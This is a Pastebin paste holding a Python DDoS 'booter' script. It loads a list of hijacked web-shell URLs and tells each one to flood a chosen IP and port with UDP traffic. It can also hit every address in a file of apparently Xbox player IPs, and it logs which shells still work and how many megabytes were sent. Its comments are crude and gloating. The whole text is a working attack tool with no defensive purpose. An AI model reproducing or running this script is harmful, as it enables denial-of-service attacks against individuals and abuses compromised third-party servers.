Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import threading, socket, urllib
- from time import sleep
- mbs = 0
- packets = 0
- threads = 0
- def Hit(ip, port, time, shell):
- global threads
- global mbs
- global packets
- threads += 1
- shell = shell.replace("\r", "").replace("\n", "")
- try:
- response = urllib.request.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read().decode('utf-8')
- packets += int(response.split("Completed with ")[1].split(" (")[0])
- mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
- mbs += mb
- print(str(mb) + " MBs sprayed by " + shell + " at " + ip)
- f=open("working.txt", "a")
- f.write(shell)
- f.close()
- except Exception as e:
- pass
- threads -= 1
- def Boot(ip, port, time, shells):
- global threads
- global mbs
- global packets
- threads += 1
- for shell in shells:
- if threads >= 376:
- sleep(0.370)
- thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
- thread.start()
- threads -= 1
- fh = open("shells.txt", "r")
- shells = fh.read().strip("\r").split("\n")
- fh.close()
- print("[+] Successfully loaded " + str(len(shells)) + " shells.")
- attackall = "" # input("Attack all ips from xboxips.txt? ")
- if attackall.upper().startswith("Y") == False:
- ip = input("Target IP: ")
- port = input("Target port [53]: ")
- if port == "":
- port = "53"
- time = input("Time [120]: ")
- if time == "":
- time = "120"
- attkthreads = input("Attack threads [4]: ")
- if attkthreads == "":
- attkthreads = 4
- else:
- attkthreads = int(attkthreads)
- if attackall.upper().startswith("Y"):
- fh = open("xboxips.txt")
- ips = fh.read().strip("\r").split("\n")
- fh.close()
- print("[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)")
- for ip in ips:
- print("Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads.")
- for thread in range (0, attkthreads):
- Boot(ip, port, time, shells)
- sleep(0.2)
- else: #this makes my OCD so bad omg
- print("Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads.")
- for thread in range (0, attkthreads):
- Boot(ip, port, time, shells)
- sleep(1)
- try:
- sleep(int(time) + 5)
- except KeyboardInterrupt:
- pass
- while threads >= 1:
- try:
- print("Waiting for " + str(threads) + " threads to finish...")
- sleep(10)
- except KeyboardInterrupt:
- break
- pass
- print("[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement